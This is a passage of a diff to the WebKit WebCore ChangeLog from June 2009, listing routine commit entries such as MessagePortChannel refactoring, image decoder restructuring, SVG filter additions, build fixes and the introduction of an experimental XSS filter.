+        (WebCore::MessagePortChannel::EventData::channel):
+            Changed EventData to hold a reference to a MessagePortChannel object instead of a MessagePort to enable cross-thread messaging.
+        (WebCore::MessagePortChannel::MessagePortChannel):
+        (WebCore::MessagePortChannel::create):        
+        * dom/ScriptExecutionContext.cpp:
+        (WebCore:ScriptExecutionContext::dispatchMessagePortEvents):
+            Renamed isQueueOpen() to started().
+        * dom/default/PlatformMessagePortChannel.cpp: Added.
+        (WebCore::MessagePortChannel::entangleIfOpen):
+        (WebCore::MessagePortChannel::disentangle):
+        (WebCore::MessagePortChannel::postMessageToRemote):
+        (WebCore::MessagePortChannel::tryGetMessageFromRemote):
+        (WebCore::MessagePortChannel::close):
+        (WebCore::MessagePortChannel::isConnectedTo):
+        (WebCore::MessagePortChannel::hasPendingActivity):
+        (WebCore::PlatformMessagePortChannel::PlatformMessagePortChannel):
+        (WebCore::PlatformMessagePortChannel::~PlatformMessagePortChannel):
+        (WebCore::PlatformMessagePortChannel::createChannel):
+        (WebCore::PlatformMessagePortChannel::entangleIfOpen):
+        (WebCore::PlatformMessagePortChannel::disentangle):
+        (WebCore::PlatformMessagePortChannel::setRemotePort):
+        (WebCore::PlatformMessagePortChannel::remotePort):
+        (WebCore::PlatformMessagePortChannel::entangledChannel):
+        (WebCore::PlatformMessagePortChannel::setEntangledChannel):
+        (WebCore::PlatformMessagePortChannel::postMessageToRemote):
+        (WebCore::PlatformMessagePortChannel::tryGetMessageFromRemote):
+        (WebCore::PlatformMessagePortChannel::isConnectedTo):
+        (WebCore::PlatformMessagePortChannel::close):
+        (WebCore::PlatformMessagePortChannel::closeInternal):
+        (WebCore::PlatformMessagePortChannel::hasPendingActivity):
+        * dom/default/PlatformMessagePortChannel.h: Added.
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::create):
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::tryGetMessage):
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::appendAndCheckEmpty):
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::isEmpty):
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::MessagePortQueue):
+        * page/DOMWindow.cpp:
+        (WebCore::PostMessageTimer::PostMessageTimer):
+            Changed DOMWindow messaging to create the MessageEvent in the target ScriptExecutionContext to match how cross-thread MessagePorts work.
+        (WebCore::PostMessageTimer::event):
+        (WebCore::DOMWindow::postMessage):
+        (WebCore::DOMWindow::postMessageTimerFired):
+
+2009-06-21  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=15383
+          <rdar://problem/5682745> resize: vertical does not restrict to vertical
+          resize
+
+        Test: fast/css/resize-single-axis.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::resize): Ignore movement along the non-resizing
+        axis.
+
+2009-06-21  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Eric Seidel
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26578
+        event.currentTarget for listener registered on window should point to the window object like in Firefox
+
+        Test: fast/events/event-trace.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::dispatchGenericEvent): Make the DOMWindow the currentTarget when events are dispatched
+        to it. We previously used the document because DOMWindow was not yet an EventTarget.
+
+2009-06-21  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=9694
+          resize value not compared
+
+        Test: fast/css/resize-value-compared.html
+
+        * rendering/style/StyleRareInheritedData.cpp:
+        (WebCore::StyleRareInheritedData::operator==): Compare the resize
+        member.
+
+2009-06-19  Alice Liu  <alice.liu@apple.com>
+
+        Fix https://bugs.webkit.org/show_bug.cgi?id=26568 
+        Repro crash animating GIF if previously used in a closed window's back/forward list
+        Also filed as <rdar://problem/6978362>
+
+        Reviewed by Maciej Stachowiak.
+
+        Can't test this bug with an automated layout test since it requires b/f caching 
+        * manual-tests/animated-gif-bfcache-crash.html: Added.
+        * manual-tests/resources/containsAnimatedGif.html: Added.
+
+        Adding checks for hostWindow() since there is no guarantee that the Page is alive
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollRectIntoViewRecursively):
+        (WebCore::ScrollView::contentsToScreen):
+        (WebCore::ScrollView::screenToContents):
+        (WebCore::ScrollView::wheelEvent):
+
+2009-06-20  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26554
+        Shadowing of top and parent
+
+        * page/DOMWindow.idl:
+
+2009-06-20  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix <https://bugs.webkit.org/show_bug.cgi?id=15106>.
+        Bug 15106: REGRESSION: Can't drag text as element when user-select is set to none
+
+        We allow selections to begin within an element that has -webkit-user-select: none set,
+        unless the element is draggable as dragging should take priority over starting a selection.
+
+        Test: editing/selection/user-drag-element-and-user-select-none.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::canStartSelection):
+
+2009-06-20  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Bug 26528: REGRESSION (r44674): Assertion in TextIterator::pushFullyClippedState while counting matches for "a" on apple.com
+        https://bugs.webkit.org/show_bug.cgi?id=26528
+        rdar://problem/6985329
+
+        * editing/TextIterator.cpp:
+        (WebCore::TextIterator::handleReplacedElement): When entering a text control,
+        start at the top of the shadow tree (by calling shadowTreeRootNode). Also
+        remove assumption that innerTextElement will never be 0 since RenderTextControl
+        doesn't really guarantee this.
+
+2009-06-20  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by NOBODY.
+
+        Speculative Qt build fix - add HTMLDataGridColElement to the build script.
+
+        * WebCore.pro:
+
+2009-06-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26561
+
+        Remove a memcpy by retrieving the already existing copy of a string
+        instead of making a new one.
+
+        * bindings/js/ScriptSourceCode.h:
+        (WebCore::ScriptSourceCode::ScriptSourceCode):
+        (WebCore::ScriptSourceCode::source):
+        * bindings/js/StringSourceProvider.h:
+        (WebCore::StringSourceProvider::source):
+
+2009-06-19  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Steve Falkenburg.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26488
+        No Support for Single Finger or Two Finger Panning in Windows 7
+        
+        The code in WebCore allows us to interpret a Pan gesture as
+        a mousewheel event, and we are able to reuse the scrolling code.
+        Another constructor was created in WheelEventWin which takes data
+        better suited to the pan guesture than what was currently there. 
+        
+        Unable to add tests to simulate touch behavior/gestures.
+
+        * platform/PlatformWheelEvent.h:
+        * platform/win/WheelEventWin.cpp:
+
+2009-06-19  Chris Marrin  <cmarrin@apple.com>
+
+        Fixed a build error, which only shows up in the i386 compile
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::animateTransform):
+
+2009-06-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/6988385> REGRESSION: In full page video player, movie's
+        video track becomes detached from its controller.
+        
+        When in the media document, the MediaPlayer should not report that it
+        is capable of hardware acceleration, because it renders via a QTMovieView
+        which is already accelerated.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering):
+
+2009-06-19  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Adding XSSAuditor.cpp to the wx build.
+
+        * WebCoreSources.bkl:
+
+2009-06-19  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26544
+
+        If I am doing a Matrix hardware animation and any matrix is singular, I revert to software.
+        This is not really testable, since we can't see what the hardware animation is doing.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::animateTransform):
+
+2009-06-19  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+        
+        An additional fix for Bug 26532: Native functions do not correctly unlink
+        from optimised callsites when they're collected
+        <https://bugs.webkit.org/show_bug.cgi?id=26532> | <rdar://problem/6625385>
+
+        Use "NativeFunctionWrapper" instead of "PrototypeFunction" in cross-frame
+        accessors, so the type of object you get to wrap a function is the same,
+        regardless of whether the access to the function is cross-frame.
+        
+        This is faster and more idiomatic than what we had before. It also would
+        have avoided Bug 26532 because it would have prevented a conflicting
+        PrototypeFunction from being allocated to wrap postMessage, where a
+        NativeFunctionWrapper had been allocated previously.
+        
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::objectToStringFunctionGetter):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::nonCachingStaticFunctionGetter):
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::nonCachingStaticBackFunctionGetter):
+        (WebCore::nonCachingStaticForwardFunctionGetter):
+        (WebCore::nonCachingStaticGoFunctionGetter):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::nonCachingStaticReplaceFunctionGetter):
+        (WebCore::nonCachingStaticReloadFunctionGetter):
+        (WebCore::nonCachingStaticAssignFunctionGetter):
+
+2009-06-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by John Sullivan
+
+        <rdar://problem/6953673> Crash in RenderLayerCompositor::setCompositingParent
+        
+        Fix a crash that could occur in complex content due to timing issues
+        when doing a partial layer tree rebuild which is required when painting;
+        setCompositingParent() could be called with a parent which has not been made
+        compositing yet.
+
+2009-06-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Build fix. Adding missing HTMLDataGrid* files to the build.
+
+        * GNUmakefile.am:
+
+2009-06-19  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26460 part three
+        Make BMPImageReader a standalone class that is used by ICOImageDecoder
+        and BMPImageDecoder to decode individual BMPs within a file.  These
+        decoders now inherit directly from ImageDecoder.
+        
+        This also makes these decoders decode on-demand in isSizeAvailable() and
+        frameBufferAtIndex(), like the other decoders, instead of when setData()
+        is called, like before.  This should provide a speedup on pages
+        containing BMPs that aren't immediately onscreen.
+
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::BMPImageDecoder):
+        (WebCore::BMPImageDecoder::setData):
+        (WebCore::BMPImageDecoder::isSizeAvailable):
+        (WebCore::BMPImageDecoder::frameBufferAtIndex):
+        (WebCore::BMPImageDecoder::decodeWithCheckForDataEnded):
+        (WebCore::BMPImageDecoder::decode):
+        (WebCore::BMPImageDecoder::processFileHeader):
+        * platform/image-decoders/bmp/BMPImageDecoder.h:
+        (WebCore::BMPImageDecoder::readUint32):
+        * platform/image-decoders/bmp/BMPImageReader.cpp:
+        (WebCore::BMPImageReader::BMPImageReader):
+        (WebCore::BMPImageReader::decodeBMP):
+        (WebCore::BMPImageReader::readInfoHeaderSize):
+        (WebCore::BMPImageReader::processInfoHeader):
+        (WebCore::BMPImageReader::readInfoHeader):
+        (WebCore::BMPImageReader::processBitmasks):
+        (WebCore::BMPImageReader::processColorTable):
+        (WebCore::BMPImageReader::processRLEData):
+        (WebCore::BMPImageReader::processNonRLEData):
+        (WebCore::BMPImageReader::setFailed):
+        * platform/image-decoders/bmp/BMPImageReader.h:
+        (WebCore::BMPImageReader::readUint16):
+        (WebCore::BMPImageReader::readUint32):
+        (WebCore::BMPImageReader::setBuffer):
+        (WebCore::BMPImageReader::setData):
+        (WebCore::BMPImageReader::):
+        (WebCore::BMPImageReader::pastEndOfImage):
+        (WebCore::BMPImageReader::readCurrentPixel):
+        (WebCore::BMPImageReader::setRGBA):
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::ICOImageDecoder):
+        (WebCore::ICOImageDecoder::setData):
+        (WebCore::ICOImageDecoder::isSizeAvailable):
+        (WebCore::ICOImageDecoder::size):
+        (WebCore::ICOImageDecoder::frameBufferAtIndex):
+        (WebCore::ICOImageDecoder::decodeWithCheckForDataEnded):
+        (WebCore::ICOImageDecoder::decode):
+        (WebCore::ICOImageDecoder::processDirectory):
+        (WebCore::ICOImageDecoder::processDirectoryEntries):
+        (WebCore::ICOImageDecoder::readDirectoryEntry):
+        (WebCore::ICOImageDecoder::processImageType):
+        * platform/image-decoders/ico/ICOImageDecoder.h:
+        (WebCore::ICOImageDecoder::readUint16):
+        (WebCore::ICOImageDecoder::readUint32):
+
+2009-06-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26555
+
+        Fix the Chromium canary bot.  Turns out ScriptSourceCode doesn't have
+        the same API in V8 and JSC.
+
+        * WebCore/bindings/js/ScriptController.cpp:
+        * WebCore/bindings/js/ScriptSourceCode.h:
+        * WebCore/bindings/v8/ScriptController.cpp:
+        * WebCore/page/XSSAuditor.cpp:
+        * WebCore/page/XSSAuditor.h:
+
+2009-06-19  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26547
+        
+        Implement the IDL interface for HTMLDataGridColElement.
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/HTMLAttributeNames.in:
+        * html/HTMLDataGridColElement.cpp: Added.
+        (WebCore::HTMLDataGridColElement::HTMLDataGridColElement):
+        (WebCore::HTMLDataGridColElement::label):
+        (WebCore::HTMLDataGridColElement::setLabel):
+        (WebCore::HTMLDataGridColElement::type):
+        (WebCore::HTMLDataGridColElement::setType):
+        (WebCore::HTMLDataGridColElement::sortable):
+        (WebCore::HTMLDataGridColElement::setSortable):
+        (WebCore::HTMLDataGridColElement::sortDirection):
+        (WebCore::HTMLDataGridColElement::setSortDirection):
+        (WebCore::HTMLDataGridColElement::selected):
+        (WebCore::HTMLDataGridColElement::setSelected):
+        * html/HTMLDataGridColElement.h: Added.
+        (WebCore::HTMLDataGridColElement::endTagRequirement):
+        (WebCore::HTMLDataGridColElement::tagPriority):
+        * html/HTMLDataGridColElement.idl: Added.
+        * html/HTMLDataGridElement.h:
+        * html/HTMLElementsAllInOne.cpp:
+        * html/HTMLTagNames.in:
+        * page/DOMWindow.idl:
+
+2009-06-19  Chris Evans  <scarybeasts@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        There is no new test because this cannot be tested deterministically.
+        I've not been able to cause a crash at all in the test framework, but
+        I have verified that this is happening in the wild and that the patch
+        fixes the likely cause in the debugger.
+
+        * loader/TextResourceDecoder.cpp: careful not to iterate off the end
+          of our input buffer looking for the end of the comment.
+
+2009-06-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26536
+
+        Fix external-script-URL-location.html and
+        write-external-script-open.html LayoutTests.
+
+        implicitOpen is called from several places.  We need to setXSSAuditor
+        each time, so I moved the call inside implicitOpen.
+
+        * dom/Document.cpp:
+        (WebCore::Document::open):
+        (WebCore::Document::implicitOpen):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin):
+
+2009-06-19  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by David Levin.
+
+        Use WebCore::multipleFileUploadText() in Chromium to fix a problem
+        that Chromium shows only the first filename even if a user selects
+        multiple files for <input type=file multiple>.
+        <https://bugs.webkit.org/show_bug.cgi?id=26502>
+
+        * platform/chromium/FileChooserChromium.cpp:
+        (WebCore::FileChooser::basenameForWidth):
+
+2009-06-19  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        - fix <rdar://problem/6967596> Safari hung using 100% CPU when I tried
+          to look up a word in Dictionary using command-control-d
+
+        Test: editing/selection/move-by-line-005.html
+
+        The root cause of this bug was searchAheadForBetterMatch() continuing
+        past the first rendered text object after the given object. While we
+        want to skip non-rendered text and empty containers, when we encounter
+        rendered text object, we must return a text box for that object.
+
+        * dom/Position.cpp:
+        (WebCore::searchAheadForBetterMatch):
+
+2009-06-19  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by David Levin
+
+        https://bugs.webkit.org/show_bug.cgi?id=25657
+
+        Chromium Linux port does not handle non-BMP characters properly.
+        It's fixed with a 'UTF-16 iterator macro' to extract Unicode
+        codepoints out of a UTF-16 input string.
+
+        A manual test is added for non-BMP character rendering,
+        which we can use until a small freely-distributable font
+        covering non-BMP is added to the Webkit source tree.
+
+
+        * platform/graphics/chromium/FontCacheLinux.cpp:
+        (WebCore::FontCache::getFontDataForCharacters):
+        * manual-tests/non-bmp.html: Added.
+
+2009-06-19  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        V8 Bindings: return proper state from the script stack.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26512
+
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptCallStack.h:
+        (WebCore::ScriptCallStack::state):
+
+2009-06-19  Jessie Berlin  <jberlin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Windows build fix.
+        
+        * platform/graphics/cg/PatternCG.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+
+2009-06-19  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Simon Hausmann.
+        Build fix after 44825.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::isSizeAvailable):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-06-18  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 26426: Canvas: rotation of 'no-repeat' pattern is weird
+        <https://bugs.webkit.org/show_bug.cgi?id=26426>
+
+        Use 1<<23-1 as steps of no-repeat patterns instead of 100000000.0f.
+        The original number cannot be represented by mantissa of float
+        (23bit) so that it caused some error.
+
+        Test: fast/canvas/image-object-in-canvas.html:
+
+        * platform/graphics/cg/PatternCG.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+
+2009-06-19  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed attempt to fix the Chromium build.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::evaluate):
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::xssAuditor):
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+
+2009-06-18  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26199
+
+        Added an experimental reflective XSS filter.  The filter is disabled by
+        default.
+
+        Test: http/tests/security/xssAuditor/script-tag.html
+
+        * GNUmakefile.am:
+        * WebCore.base.exp:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::evaluate):
+        * bindings/js/ScriptController.h:
+        (WebCore::ScriptController::xssAuditor):
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * dom/Tokenizer.h:
+        (WebCore::Tokenizer::xssAuditor):
+        (WebCore::Tokenizer::setXSSAuditor):
+        (WebCore::Tokenizer::Tokenizer):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::scriptHandler):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin):
+        (WebCore::FrameLoader::requestObject):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setXSSAuditorEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::xssAuditorEnabled):
+        * page/XSSAuditor.cpp: Added.
+        (WebCore::isControlCharacter):
+        (WebCore::XSSAuditor::XSSAuditor):
+        (WebCore::XSSAuditor::~XSSAuditor):
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        (WebCore::XSSAuditor::canLoadObject):
+        (WebCore::XSSAuditor::decodeURL):
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h: Added.
+        (WebCore::XSSAuditor::isEnabled):
+        (WebCore::XSSAuditor::setXSSAuditorEnabled):
+
+2009-06-18  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        feOffset and objectBoundingBox
+        [https://bugs.webkit.org/show_bug.cgi?id=26441]
+
+        If we use objectBoundingBox for primitiveUnits, the fractions given
+        to dx or dy of feOffset must be multiplied with the referenced objects
+        objectBoundingBox size.
+
+        Test: svg/filters/feOffset.svg
+
+        * svg/graphics/filters/SVGFEOffset.cpp:
+        (WebCore::FEOffset::apply):
+
+2009-06-18  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        feTile implementation missing
+        [https://bugs.webkit.org/show_bug.cgi?id=26419]
+
+        Implementation of feTile, a pattern effect for SVG filters. It was
+        necessary to modify FilterEffect since source inputs need a secial
+        logic and we have to identify if an effect is a source input.
+
+        Tests: svg/batik/filters/feTile.svg
+               svg/filters/feTile.svg
+
+        * platform/graphics/filters/FilterEffect.h:
+        (WebCore::FilterEffect::isSourceInput):
+        * platform/graphics/filters/SourceAlpha.h:
+        (WebCore::SourceAlpha::isSourceInput):
+        * platform/graphics/filters/SourceGraphic.h:
+        (WebCore::SourceGraphic::isSourceInput):
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply):
+
+2009-06-18  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        feMerge implementation
+        [https://bugs.webkit.org/show_bug.cgi?id=26480]
+
+        Added feMerge to the SVG Filter system.
+
+        Test: svg/filters/feMerge.svg
+
+        * svg/graphics/filters/SVGFEMerge.cpp:
+        (WebCore::FEMerge::uniteChildEffectSubregions):
+        (WebCore::FEMerge::apply):
+        * svg/graphics/filters/SVGFEMerge.h:
+
+2009-06-18  Mark Rowe  <mrowe@apple.com>
+
+        Speculative Windows build fix.
+
+        * page/win/FrameCGWin.cpp: Add missing #include.
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Dave Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26425
+        Final refactorings, picking up a few places where BitmapInfo
+        could be used.
+
+        * page/win/FrameCGWin.cpp:
+        (WebCore::imageFromRect):
+        * platform/win/CursorWin.cpp:
+        (WebCore::Cursor::Cursor):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::paint):
+
+2009-06-18  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 26522: In DOM mode, VoiceOver reads some mouseover text on web sites strangely
+        https://bugs.webkit.org/show_bug.cgi?id=26522
+
+        Test: accessibility/non-data-table-cell-title-ui-element.html
+
+        * accessibility/AccessibilityTableCell.cpp:
+        (WebCore::AccessibilityTableCell::titleUIElement):
+
+2009-06-18  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix after recent RenderTheme changes.
+
+        * platform/wx/RenderThemeWx.cpp:
+        (WebCore::RenderThemeWx::~RenderThemeWx):
+        (WebCore::RenderTheme::themeForPage):
+
+2009-06-18  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26460 part two
+        Attempt to minimize diff of following functional change by first landing
+        non-functional change to:
+        * Make readUintX() public and static (since they will need to be once
+          BMPImageReader is included in *ImageDecoder via composition rather
+          than inheritance).  Add wrappers in each class so callers can be
+          simpler.  In the next patch, these wrappers will be beefed up slightly
+          and the callers will get even simpler.
+        * Change direct setting of m_failed to use setFailed(), since in the
+          next patch much of this code won't even have direct access to m_failed
+        * Add a helper function in ICOImageDecoder to determine the image type
+          instead of simply doing it inline
+        * Rewrap lines that used to be <=80 cols and slipped over it during the
+          original landing of these decoders
+        * Other misc. changes, e.g. adding constructor definitions, reordering
+          functions, changing RGBA32Buffer& to RGBA32Buffer*, etc. that have no
+          functional effect but minimize the subsequent diff for readability
+
+
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::BMPImageDecoder):
+        (WebCore::BMPImageDecoder::processFileHeader):
+        * platform/image-decoders/bmp/BMPImageDecoder.h:
+        (WebCore::BMPImageDecoder::readUint32):
+        * platform/image-decoders/bmp/BMPImageReader.cpp:
+        (WebCore::BMPImageReader::decodeBMP):
+        (WebCore::BMPImageReader::getInfoHeaderSize):
+        (WebCore::BMPImageReader::processInfoHeader):
+        (WebCore::BMPImageReader::readInfoHeader):
+        (WebCore::BMPImageReader::processBitmasks):
+        (WebCore::BMPImageReader::processColorTable):
+        (WebCore::BMPImageReader::processRLEData):
+        (WebCore::BMPImageReader::processNonRLEData):
+        * platform/image-decoders/bmp/BMPImageReader.h:
+        (WebCore::BMPImageReader::readUint16Helper):
+        (WebCore::BMPImageReader::readUint32Helper):
+        (WebCore::BMPImageReader::):
+        (WebCore::BMPImageReader::readUint16):
+        (WebCore::BMPImageReader::readUint32):
+        (WebCore::BMPImageReader::readCurrentPixel):
+        (WebCore::BMPImageReader::getComponent):
+        (WebCore::BMPImageReader::setI):
+        (WebCore::BMPImageReader::setRGBA):
+        (WebCore::BMPImageReader::fillRGBA):
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::ICOImageDecoder):
+        (WebCore::ICOImageDecoder::isSizeAvailable):
+        (WebCore::ICOImageDecoder::size):
+        (WebCore::ICOImageDecoder::decodeImage):
+        (WebCore::ICOImageDecoder::processDirectory):
+        (WebCore::ICOImageDecoder::processDirectoryEntries):
+        (WebCore::ICOImageDecoder::isBetterEntry):
+        (WebCore::ICOImageDecoder::processImageType):
+        * platform/image-decoders/ico/ICOImageDecoder.h:
+        (WebCore::ICOImageDecoder::readUint16):
+        (WebCore::ICOImageDecoder::readUint32):
+
+2009-06-18  Peter Kasting  <pkasting@google.com>
+
+        Fix build bustage.
+
+        * platform/image-decoders/gif/GIFImageDecoder.h:
+
+2009-06-18  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/6940880> REGRESSION: Breakpoints don't break in 64-bit
+
+        Convert intptr_t to Strings so that we don't loose bits in the
+        conversion to JS.  Previously they were being put into 32bit ints.
+
+        * inspector/InspectorController.cpp: Convert the String back to an
+        intptr_t.
+        (WebCore::InspectorController::addBreakpoint):
+        (WebCore::InspectorController::removeBreakpoint):
+        * inspector/InspectorController.h:
+        * inspector/InspectorController.idl: Use strings in JS to avoid 32bit
+        truncation.
+        * inspector/InspectorFrontend.cpp: Make the intptr_t into a String.
+        (WebCore::InspectorFrontend::parsedScriptSource):
+        * platform/text/PlatformString.h: Implemented the necessary conversion
+        functions to be able to convert to and from an intptr_t.
+        * platform/text/String.cpp: Ditto.
+        (WebCore::String::toIntPtrStrict):
+        (WebCore::String::toIntPtr):
+        (WebCore::charactersToIntPtrStrict):
+        (WebCore::charactersToIntPtr):
+        * platform/text/StringImpl.cpp: Ditto.
+        (WebCore::StringImpl::toIntPtrStrict):
+        (WebCore::StringImpl::toIntPtr):
+        * platform/text/StringImpl.h: Ditto.
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Final cleanups in this refactoring:
+        (1) Move WindowsBitmap implementation from CG-specific file to
+            the platform-common GraphicsContextWin.cpp, since it is
+            equally useful on both platforms.
+        (2) Revise the TransformationMatrix logic as suggested by
+            Adam Roben in his review comments to Part #2 of this
+            refactoring.
+
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        * platform/graphics/win/GraphicsContextWin.cpp:
+        (WebCore::GraphicsContext::WindowsBitmap::WindowsBitmap):
+        (WebCore::GraphicsContext::WindowsBitmap::~WindowsBitmap):
+        (WebCore::GraphicsContext::createWindowsBitmap):
+        (WebCore::GraphicsContext::getWindowsContext):
+        (WebCore::GraphicsContextPlatformPrivate::scale):
+        (WebCore::GraphicsContextPlatformPrivate::rotate):
+        (WebCore::GraphicsContextPlatformPrivate::translate):
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+
+2009-06-18  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26460 part one
+        Make isSizeAvailable non-const, since it's not logically const (it
+        triggers lazy decoding), and simplify all the implementations (without
+        changing behavior; just make less verbose).  Remove some other
+        inappropriate consts, which enables the removal of all the mutable
+        declarations in the decoders.
+
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::isSizeAvailable):
+        (WebCore::ImageDecoder::setSize): Make public to avoid needing a friend declaration in the JPEG decoder, and because the ICO/BMP decoders will soon need this.
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::isSizeAvailable):
+        (WebCore::GIFImageDecoder::repetitionCount):
+        (WebCore::GIFImageDecoder::decode):
+        * platform/image-decoders/gif/GIFImageDecoder.h:
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::isSizeAvailable):
